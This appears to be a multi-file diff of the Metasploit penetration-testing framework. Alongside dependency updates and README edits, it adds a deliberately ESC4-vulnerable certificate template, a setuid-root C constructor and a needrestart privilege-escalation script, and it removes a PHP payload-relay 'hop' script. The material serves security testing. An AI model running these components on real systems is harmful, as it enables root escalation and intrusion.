@@ -2,34 +2,35 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.1, MIT
aarch64, 2.1.0, "Apache 2.0"
abbrev, 0.1.2, "ruby, Simplified BSD"
actionpack, 7.0.8.4, MIT
actionview, 7.0.8.4, MIT
activemodel, 7.0.8.4, MIT
activerecord, 7.0.8.4, MIT
activesupport, 7.0.8.4, MIT
addressable, 2.8.6, "Apache 2.0"
actionpack, 7.0.8.6, MIT
actionview, 7.0.8.6, MIT
activemodel, 7.0.8.6, MIT
activerecord, 7.0.8.6, MIT
activesupport, 7.0.8.6, MIT
addressable, 2.8.7, "Apache 2.0"
afm, 0.2.2, MIT
allure-rspec, 2.24.5, "Apache 2.0"
allure-ruby-commons, 2.24.5, "Apache 2.0"
arel-helpers, 2.14.0, MIT
arel-helpers, 2.15.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.3.0, "Apache 2.0"
aws-partitions, 1.941.0, "Apache 2.0"
aws-sdk-core, 3.197.0, "Apache 2.0"
aws-sdk-ec2, 1.460.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.41.0, "Apache 2.0"
aws-sdk-iam, 1.99.0, "Apache 2.0"
aws-sdk-kms, 1.83.0, "Apache 2.0"
aws-sdk-s3, 1.152.0, "Apache 2.0"
aws-sdk-ssm, 1.170.0, "Apache 2.0"
aws-sigv4, 1.8.0, "Apache 2.0"
aws-partitions, 1.999.0, "Apache 2.0"
aws-sdk-core, 3.211.0, "Apache 2.0"
aws-sdk-ec2, 1.486.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.52.0, "Apache 2.0"
aws-sdk-iam, 1.112.0, "Apache 2.0"
aws-sdk-kms, 1.95.0, "Apache 2.0"
aws-sdk-s3, 1.169.0, "Apache 2.0"
aws-sdk-ssm, 1.183.0, "Apache 2.0"
aws-sigv4, 1.10.1, "Apache 2.0"
base64, 0.2.0, "ruby, Simplified BSD"
bcrypt, 3.1.20, MIT
bcrypt_pbkdf, 1.1.1, MIT
benchmark, 0.4.0, "ruby, Simplified BSD"
bigdecimal, 3.1.8, "ruby, Simplified BSD"
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.18.3, MIT
bson, 5.0.0, "Apache 2.0"
bootsnap, 1.18.4, MIT
bson, 5.0.1, "Apache 2.0"
builder, 3.3.0, MIT
bundler, 2.5.10, MIT
byebug, 11.1.3, "Simplified BSD"
@@ -40,27 +41,28 @@ cookiejar, 0.3.4, "Simplified BSD"
crass, 1.0.6, MIT
csv, 3.3.0, "ruby, Simplified BSD"
daemons, 1.4.1, MIT
date, 3.3.4, "ruby, Simplified BSD"
date, 3.4.1, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
dnsruby, 1.72.1, "Apache 2.0"
docile, 1.4.0, MIT
dnsruby, 1.72.2, "Apache 2.0"
docile, 1.4.1, MIT
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
drb, 2.2.1, "ruby, Simplified BSD"
ed25519, 1.3.0, MIT
elftools, 1.2.0, MIT
elftools, 1.3.1, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.2, MIT
em-socksify, 0.3.3, MIT
erubi, 1.13.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.4.6, MIT
factory_bot_rails, 6.4.3, MIT
faker, 3.4.1, MIT
factory_bot, 6.5.0, MIT
factory_bot_rails, 6.4.4, MIT
faker, 3.5.1, MIT
faraday, 2.7.11, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.2.1, MIT
faye-websocket, 0.11.3, "Apache 2.0"
ffi, 1.16.3, "New BSD"
fiddle, 1.1.6, "ruby, Simplified BSD"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
getoptlong, 0.2.1, "ruby, Simplified BSD"
@@ -69,151 +71,152 @@ gyoku, 1.4.0, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.4.2, "Apache 2.0"
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.6, MIT
http-cookie, 1.0.7, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.14.5, MIT
i18n, 1.14.6, MIT
io-console, 0.7.2, "ruby, Simplified BSD"
irb, 1.7.4, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.7.2, ruby
json, 2.7.5, ruby
language_server-protocol, 3.17.0.3, MIT
little-plugger, 1.1.4, MIT
logger, 1.6.1, "ruby, Simplified BSD"
logging, 2.4.0, MIT
loofah, 2.22.0, MIT
loofah, 2.23.1, MIT
macaddr, 1.7.2, ruby
memory_profiler, 1.0.1, MIT
memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.2, "New BSD"
metasploit-credential, 6.0.9, "New BSD"
metasploit-framework, 6.4.34, "New BSD"
metasploit-concern, 5.0.3, "New BSD"
metasploit-credential, 6.0.11, "New BSD"
metasploit-framework, 6.4.52, "New BSD"
metasploit-model, 5.0.2, "New BSD"
metasploit-payloads, 2.0.186, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.3, "New BSD"
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.6, "New BSD"
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
method_source, 1.1.0, MIT
mime-types, 3.5.2, MIT
mime-types-data, 3.2024.0604, MIT
mini_portile2, 2.8.7, MIT
mime-types, 3.6.0, MIT
mime-types-data, 3.2024.1001, MIT
mini_portile2, 2.8.8, MIT
minitest, 5.25.1, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 3.0.0, MIT
mustermann, 3.0.3, MIT
mutex_m, 0.2.0, "ruby, Simplified BSD"
nessus_rest, 0.1.6, MIT
net-imap, 0.4.12, "ruby, Simplified BSD"
net-imap, 0.5.0, "ruby, Simplified BSD"
net-ldap, 0.19.0, MIT
net-protocol, 0.2.2, "ruby, Simplified BSD"
net-sftp, 4.0.0, MIT
net-smtp, 0.5.0, "ruby, Simplified BSD"
net-ssh, 7.2.3, MIT
net-ssh, 7.3.0, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.7.3, "MIT, Simplified BSD"
nokogiri, 1.16.7, MIT
nori, 2.7.0, MIT
nio4r, 2.7.4, "MIT, Simplified BSD"
nokogiri, 1.18.2, MIT
nori, 2.7.1, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
ostruct, 0.6.1, "ruby, Simplified BSD"
packetfu, 2.0.0, "New BSD"
parallel, 1.24.0, MIT
parser, 3.3.2.0, MIT
parallel, 1.26.3, MIT
parser, 3.3.5.0, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.3, LGPL-2.1
pdf-reader, 2.12.0, MIT
pg, 1.5.6, "Simplified BSD"
pg, 1.5.9, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.5, MIT
puma, 6.4.2, "New BSD"
public_suffix, 6.0.1, MIT
puma, 6.4.3, "New BSD"
racc, 1.8.1, "ruby, Simplified BSD"
rack, 2.2.9, MIT
rack, 2.2.10, MIT
rack-protection, 3.2.0, MIT
rack-test, 2.1.0, MIT
rails-dom-testing, 2.2.0, MIT
rails-html-sanitizer, 1.6.0, MIT
railties, 7.0.8.4, MIT
railties, 7.0.8.6, MIT
rainbow, 3.1.1, MIT
rake, 13.2.1, MIT
rasn1, 0.13.0, MIT
rb-readline, 0.5.5, BSD
recog, 3.1.5, unknown
recog, 3.1.11, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.9.2, MIT
reline, 0.5.8, ruby
reline, 0.5.10, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.16, "New BSD"
rex-bin_tools, 0.1.9, "New BSD"
rex-core, 0.1.32, "New BSD"
rex-encoder, 0.1.7, "New BSD"
rex-exploitation, 0.1.39, "New BSD"
rex-exploitation, 0.1.40, "New BSD"
rex-java, 0.1.7, "New BSD"
rex-mime, 0.1.8, "New BSD"
rex-nop, 0.1.3, "New BSD"
rex-ole, 0.1.8, "New BSD"
rex-powershell, 0.1.99, "New BSD"
rex-random_identifier, 0.1.12, "New BSD"
rex-powershell, 0.1.100, "New BSD"
rex-random_identifier, 0.1.13, "New BSD"
rex-registry, 0.1.5, "New BSD"
rex-rop_builder, 0.1.5, "New BSD"
rex-socket, 0.1.57, "New BSD"
rex-socket, 0.1.58, "New BSD"
rex-sslscan, 0.1.10, "New BSD"
rex-struct2, 0.1.4, "New BSD"
rex-text, 0.2.58, "New BSD"
rex-text, 0.2.59, "New BSD"
rex-zip, 0.1.5, "New BSD"
rexml, 3.3.6, "Simplified BSD"
rexml, 3.3.9, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.13.0, MIT
rspec-core, 3.13.0, MIT
rspec-expectations, 3.13.2, MIT
rspec-mocks, 3.13.1, MIT
rspec-rails, 6.1.4, MIT
rspec-core, 3.13.2, MIT
rspec-expectations, 3.13.3, MIT
rspec-mocks, 3.13.2, MIT
rspec-rails, 7.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.13.1, MIT
rubocop, 1.64.1, MIT
rubocop-ast, 1.31.3, MIT
ruby-macho, 4.0.1, MIT
rubocop, 1.67.0, MIT
rubocop-ast, 1.33.0, MIT
ruby-macho, 4.1.0, MIT
ruby-mysql, 4.1.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.3.10, "New BSD"
rubyntlm, 0.6.4, MIT
ruby_smb, 3.3.13, "New BSD"
rubyntlm, 0.6.5, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simplecov-html, 0.13.1, MIT
simpleidn, 0.2.3, MIT
sinatra, 3.2.0, MIT
sqlite3, 1.7.3, "New BSD"
sshkey, 3.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
strscan, 3.1.0, "ruby, Simplified BSD"
swagger-blocks, 3.0.0, MIT
systemu, 2.6.5, ruby
test-prof, 1.3.3, MIT
test-prof, 1.4.2, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.3.1, MIT
tilt, 2.3.0, MIT
timecop, 0.9.9, MIT
thor, 1.3.2, MIT
tilt, 2.4.0, MIT
timecop, 0.9.10, MIT
timeout, 0.4.1, "ruby, Simplified BSD"
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2024.1, MIT
unicode-display_width, 2.5.0, MIT
tzinfo-data, 1.2024.2, MIT
unicode-display_width, 2.6.0, MIT
unix-crypt, 1.3.1, 0BSD
uuid, 2.3.9, MIT
warden, 1.2.9, MIT
webrick, 1.8.1, "ruby, Simplified BSD"
webrick, 1.8.2, "ruby, Simplified BSD"
websocket-driver, 0.7.6, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
windows_error, 0.1.5, BSD
winrm, 2.3.6, "Apache 2.0"
winrm, 2.3.9, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.3, "ruby, Simplified BSD"
yard, 0.9.36, MIT
zeitwerk, 2.6.17, MIT
yard, 0.9.37, MIT
zeitwerk, 2.6.18, MIT
+30 -37
View File
@@ -1,52 +1,45 @@
Metasploit [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
==
The Metasploit Framework is released under a BSD-style license. See
[COPYING](COPYING) for more details.
# Metasploit Framework
The latest version of this software is available from: https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
The Metasploit Framework is an open-source tool released under a BSD-style license. For detailed licensing information, refer to the `COPYING` file.
You can find documentation on Metasploit and how to use it at:
https://docs.metasploit.com/
## Latest Version
Access the latest version of Metasploit from the [Nightly Installers](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html) page.
Information about setting up a development environment can be found at:
https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html
## Documentation
Comprehensive documentation, including usage guides, is available at [Metasploit Docs](https://docs.metasploit.com/).
Our bug and feature request tracker can be found at:
https://github.com/rapid7/metasploit-framework/issues
## Development Environment
To set up a development environment, visit the [Development Setup Guide](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html).
New bugs and feature requests should be directed to:
https://r-7.co/MSF-BUGv1
## Bug and Feature Requests
Submit bugs and feature requests via the [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues) tracker. New submissions can be made through the [MSF-BUGv1 form](https://github.com/rapid7/metasploit-framework/issues/new/choose).
API documentation for writing modules can be found at:
https://docs.metasploit.com/api/
## API Documentation
For information on writing modules, refer to the [API Documentation](https://docs.metasploit.com/api/).
Questions and suggestions can be sent to: Freenode IRC channel or e-mail the metasploit-hackers mailing list
## Support and Communication
For questions and suggestions, join the Freenode IRC channel or contact the metasploit-hackers mailing list.
Installing
--
## Installing Metasploit
Generally, you should use [the free installer](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html),
which contains all of the dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html) if
you'd like to deal with dependencies on your own.
### Recommended Installation
Using Metasploit
--
Metasploit can do all sorts of things. The first thing you'll want to do
is start `msfconsole`, but after that, you'll probably be best served by
reading the basics of [using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
or [Metasploit Unleashed][unleashed].
We recommend installation with the [official Metasploit installers](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html#installing-metasploit-on-linux--macos) on Linux or macOS. Metasploit is also pre-installed with Kali.
Contributing
--
See the [Dev Environment Setup][devenv] guide on GitHub, which will
walk you through the whole process from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request. For slightly more information, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
For a manual setup, consult the [Dev Environment Setup](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html) guide.
## Using Metasploit
[devenv]: https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html "Metasploit Development Environment Setup"
[unleashed]: https://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
To get started with Metasploit:
1. **Start `msfconsole`:** This is the primary interface for interacting with Metasploit.
2. **Explore Resources:**
- Visit the [Using Metasploit](https://docs.metasploit.com/docs/using-metasploit/getting-started/index.html) section of the documentation.
## Contributing
To contribute to Metasploit:
1. **Setup Development Environment:** Follow the instructions in the [Development Setup Guide](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html) on GitHub.
2. **Clone the Repository:** Obtain the source code from the official repository.
3. **Submit a Pull Request:** After making changes, submit a pull request for review. Additional details can be found in the [Contributing Guide](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
+2
View File
@@ -10,6 +10,8 @@ info:
x-cortex-type: service
x-cortex-domain-parents:
- tag: metasploit
x-cortex-groups:
- exposure:external-ship
openapi: 3.0.1
servers:
- url: "/"
@@ -0,0 +1,30 @@
---
# Creates a template that will be vulnerable to ESC4 (certificate has weak edit permissions).
# Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
# this security descriptor grants all permissions to all authenticated users (this is what makes the template vulnerable to ESC4)
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
flags: 0
pKIDefaultKeySpec: 2
pKIKeyUsage: !binary |-
hgA=
pKIMaxIssuingDepth: 0
pKICriticalExtensions:
- 2.5.29.19
- 2.5.29.15
pKIExtendedKeyUsage:
# Server Authentication OID (Not necessary although if left blank this template would also be vulnerable to ESC2)
- 1.3.6.1.5.5.7.3.1
pKIExpirationPeriod: !binary |-
AEAepOhl+v8=
pKIOverlapPeriod: !binary |-
AICmCv/e//8=
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
msPKI-RA-Signature: 0
msPKI-Enrollment-Flag: 0
# CT_FLAG_EXPORTABLE_KEY
msPKI-Private-Key-Flag: 0x10
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
msPKI-Certificate-Name-Flag: 0x82000000
msPKI-Minimal-Key-Size: 2048
@@ -373,3 +373,17 @@ queries:
- https://malicious.link/post/2022/ldapsearch-reference/
- https://burmat.gitbook.io/security/hacking/domain-exploitation
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- action: ENUM_PRE_WINDOWS_2000_COMPUTERS
description: 'Dump info about all computer objects likely created as a "pre-Windows 2000 computer", for which the password might be predictable.'
filter: '(&(userAccountControl=4128))'
attributes:
- cn
- displayName
- description
- sAMAccountName
- userPrincipalName
- logonCount
- userAccountControl
references:
- https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers
- https://trustedsec.com/blog/diving-into-pre-created-computer-accounts
+3
View File
@@ -1,3 +1,4 @@
# configuration file for the capture plugin
spoof_regex: .*
ntlm_challenge: "1122334455667788"
ntlm_domain: anonymous
@@ -6,6 +7,7 @@ ssl_cert: null
logfile: null
hashdir: null
services:
# authentication services
- type: DRDA
enabled: yes
- type: FTP
@@ -46,6 +48,7 @@ services:
enabled: yes
- type: SMTPS
enabled: yes
# spoofing / poisoning services
- type: NBNS
enabled: yes
- type: LLMNR
+1 -1
View File
@@ -13,4 +13,4 @@ responsible for corrupting the Metasploit Framework installation.
For more information about EICAR, please see the following web site:
http://www.eicar.org/anti_virus_test_file.htm
https://www.eicar.org/download-anti-malware-testfile/
Binary file not shown.
+27
View File
@@ -0,0 +1,27 @@
/*
// system call
#include <stdlib.h>
// setuid, setgid
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
setuid(0);
setgid(0);
const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
system(shell);
}
*/
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);
void a(void) __attribute__((constructor));
void __attribute__((constructor)) a() {
setuid(0);
setgid(0);
system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
}
+17
View File
@@ -0,0 +1,17 @@
import os
import time
import pwd
print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")
while True:
try:
file_stat = os.stat('PAYLOAD_PATH')
except FileNotFoundError:
exit()
username = pwd.getpwuid(file_stat.st_uid).pw_name
#print(f"Payload owned by: {username}. Stats: {file_stat}")
if (username == 'root'):
os.system('PAYLOAD_PATH &')
exit()
time.sleep(1)
-68
View File
@@ -1,68 +0,0 @@
<?php
$magic = 'TzGq';
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
if(!is_dir($tempdir)){
mkdir($tempdir); //make sure it's there
}
//get url
$url = $_SERVER["QUERY_STRING"];
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
//Looks for a file with a name or contents prefix, if found, send it and deletes it
function findSendDelete($tempdir, $prefix, $one=true){
if($dh = opendir($tempdir)){
while(($file = readdir($dh)) !== false){
if(strpos($file, $prefix) !== 0){
continue;
}
readfile($tempdir."/".$file);
unlink($tempdir."/".$file);
if($one){
break;
}
}
}
}
//handle control
if($url === "/control"){
if($_SERVER['REQUEST_METHOD'] === 'POST'){
//handle data for payload - save in a "down" file or the "init" file
$postdata = file_get_contents("php://input");
if(array_key_exists('HTTP_X_INIT', $_SERVER)){
$f = fopen($tempdir."/init", "w"); //only one init file
}else{
$prefix = "down_" . sha1($_SERVER['HTTP_X_URLFRAG']);
$f = fopen(tempnam($tempdir,$prefix), "w");
}
fwrite($f, $postdata);
fclose($f);
}else{
findSendDelete($tempdir, "up_", false);
}
}else if($_SERVER['REQUEST_METHOD'] === 'POST'){
//get data
$postdata = file_get_contents("php://input");
//See if we should send anything down
if($postdata === "RECV\x00" || $postdata === "RECV"){
findSendDelete($tempdir, "down_" . sha1($url));
$fname = $tempdir . "/up_recv_" . sha1($url); //Only keep one RECV poll
}else{
$fname = tempnam($tempdir, "up_"); //actual data gets its own filename
}
//find free and write new file
$f = fopen($fname, "w");
fwrite($f, $magic);
//Little-endian pack length and data
$urlen = strlen($url);
fwrite($f, pack('V', $urlen));
fwrite($f, $url);
$postdatalen = strlen($postdata);
fwrite($f, pack('V', $postdatalen));
fwrite($f, $postdata);
fclose($f);
//Initial query will be a GET and have a 12345 in it
}else if(strpos($url, "12345") !== FALSE){
readfile($tempdir."/init");
}
@@ -0,0 +1,98 @@
; build with:
; nasm elf_dll_riscv32le_template.s -f bin -o template_riscv32le_linux_dll.bin
BITS 32
org 0
ehdr:
db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0
dw 3 ; e_type = ET_DYN
dw 0xF3 ; e_machine = EM_RISCV
dd 1 ; e_version = EV_CURRENT
dd _start ; e_entry = _start
dd phdr - $$ ; e_phoff
dd shdr - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw shentsize ; e_shentsize
dw 2 ; e_shnum
dw 1 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr:
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align
phdrsize equ $ - phdr
dd 2 ; p_type = PT_DYNAMIC
dd 7 ; p_flags = rwx
dd dynsection ; p_offset
dd dynsection ; p_vaddr
dd dynsection ; p_vaddr
dd dynsz ; p_filesz
dd dynsz ; p_memsz
dd 0x1000 ; p_align
shdr:
dd 1 ; sh_name
dd 6 ; sh_type = SHT_DYNAMIC
dd 0 ; sh_flags
dd dynsection ; sh_addr
dd dynsection ; sh_offset
dd dynsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dd 8 ; sh_addralign
dd 7 ; sh_entsize
shentsize equ $ - shdr
dd 0 ; sh_name
dd 3 ; sh_type = SHT_STRTAB
dd 0 ; sh_flags
dd strtab ; sh_addr
dd strtab ; sh_offset
dd strtabsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dd 0 ; sh_addralign
dd 0 ; sh_entsize
dynsection:
; DT_INIT
dd 0x0c
dd _start
; DT_STRTAB
dd 0x05
dd strtab
; DT_SYMTAB
dd 0x06
dd strtab
; DT_STRSZ
dd 0x0a
dd 0
; DT_SYMENT
dd 0x0b
dd 0
; DT_NULL
dd 0x00
dd 0
dynsz equ $ - dynsection
strtab:
db 0
db 0
strtabsz equ $ - strtab
global _start
_start:
@@ -0,0 +1,99 @@
; build with:
; nasm elf_dll_riscv64le_template.s -f bin -o template_riscv64le_linux_dll.bin
BITS 64
org 0
ehdr: ; Elf64_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 3 ; e_type = ET_DYN
dw 0xF3 ; e_machine = RISCV
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq shdr - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw shentsize ; e_shentsize
dw 2 ; e_shnum
dw 1 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 7 ; p_flags = rwx
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq 0xDEADBEEF ; p_filesz
dq 0xDEADBEEF ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
dd 2 ; p_type = PT_DYNAMIC
dd 7 ; p_flags = rwx
dq dynsection ; p_offset
dq dynsection ; p_vaddr
dq dynsection ; p_vaddr
dq dynsz ; p_filesz
dq dynsz ; p_memsz
dq 0x1000 ; p_align
shdr:
dd 1 ; sh_name
dd 6 ; sh_type = SHT_DYNAMIC
dq 0 ; sh_flags
dq dynsection ; sh_addr
dq dynsection ; sh_offset
dq dynsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dq 8 ; sh_addralign
dq 7 ; sh_entsize
shentsize equ $ - shdr
dd 0 ; sh_name
dd 3 ; sh_type = SHT_STRTAB
dq 0 ; sh_flags
dq strtab ; sh_addr
dq strtab ; sh_offset
dq strtabsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dq 0 ; sh_addralign
dq 0 ; sh_entsize
dynsection:
; DT_INIT
dq 0x0c
dq _start
; DT_STRTAB
dq 0x05
dq strtab
; DT_SYMTAB
dq 0x06
dq strtab
; DT_STRSZ
dq 0x0a
dq 0
; DT_SYMENT
dq 0x0b
dq 0
; DT_NULL
dq 0x00
dq 0
dynsz equ $ - dynsection
strtab:
db 0
db 0
strtabsz equ $ - strtab
align 16
global _start
_start:
@@ -9,7 +9,7 @@ ehdr: ; Elf32_Ehdr
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 0xB7 ; e_machine = AARCH64
dd 0 ; e_version
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
+42
View File
@@ -0,0 +1,42 @@
; build with:
; nasm elf_riscv32le_template.s -f bin -o template_riscv32le_linux.bin
BITS 32
org 0x00010000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 0xF3 ; e_machine = RISCV
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align
phdrsize equ $ - phdr
global _start
_start:
+42
View File
@@ -0,0 +1,42 @@
; build with:
; nasm elf_riscv64le_template.s -f bin -o template_riscv64le_linux.bin
BITS 64
org 0x00400000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 0xF3 ; e_machine = RISCV
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 7 ; p_flags = rwx
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq 0xDEADBEEF ; p_filesz
dq 0xDEADBEEF ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
global _start
_start:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+62 -59
View File
@@ -1,67 +1,70 @@
wordpress-popular-posts
backup
catch-themes-demo-import
modern-events-calendar-lite
ninja-forms
simple-file-list
sp-client-document-manager
drag-and-drop-multiple-file-upload-contact-form-7
wp-file-manager
duplicator
work-the-flow-file-upload
ajax-load-more
wpdiscuz
wptouch
front-end-editor
wpshop
plainview-activity-monitor
sexy-contact-form
all-in-one-wp-migration
backup
backup-backup
boldgrid-backup
bookingpress
bulletproof-security
catch-themes-demo-import
chopslider
custom-registration-form-builder-with-submission-manager
download-manager
drag-and-drop-multiple-file-upload-contact-form-7
dukapress
duplicator
duplicator_download
easy-wp-smtp
elementor
email-subscribers
file-manager-advanced-shortcode
front-end-editor
gi-media-library
give
hash-form
inboundio-marketing
wp-mobile-detector
website-contact-form-with-file-upload
slideshow-gallery
reflex-gallery
wp-symposium
learnpress
loginizer
masterstudy-lms-learning-management-system
modern-events-calendar-lite
modern-events-calendar-lite
nextgen-gallery
ninja-forms
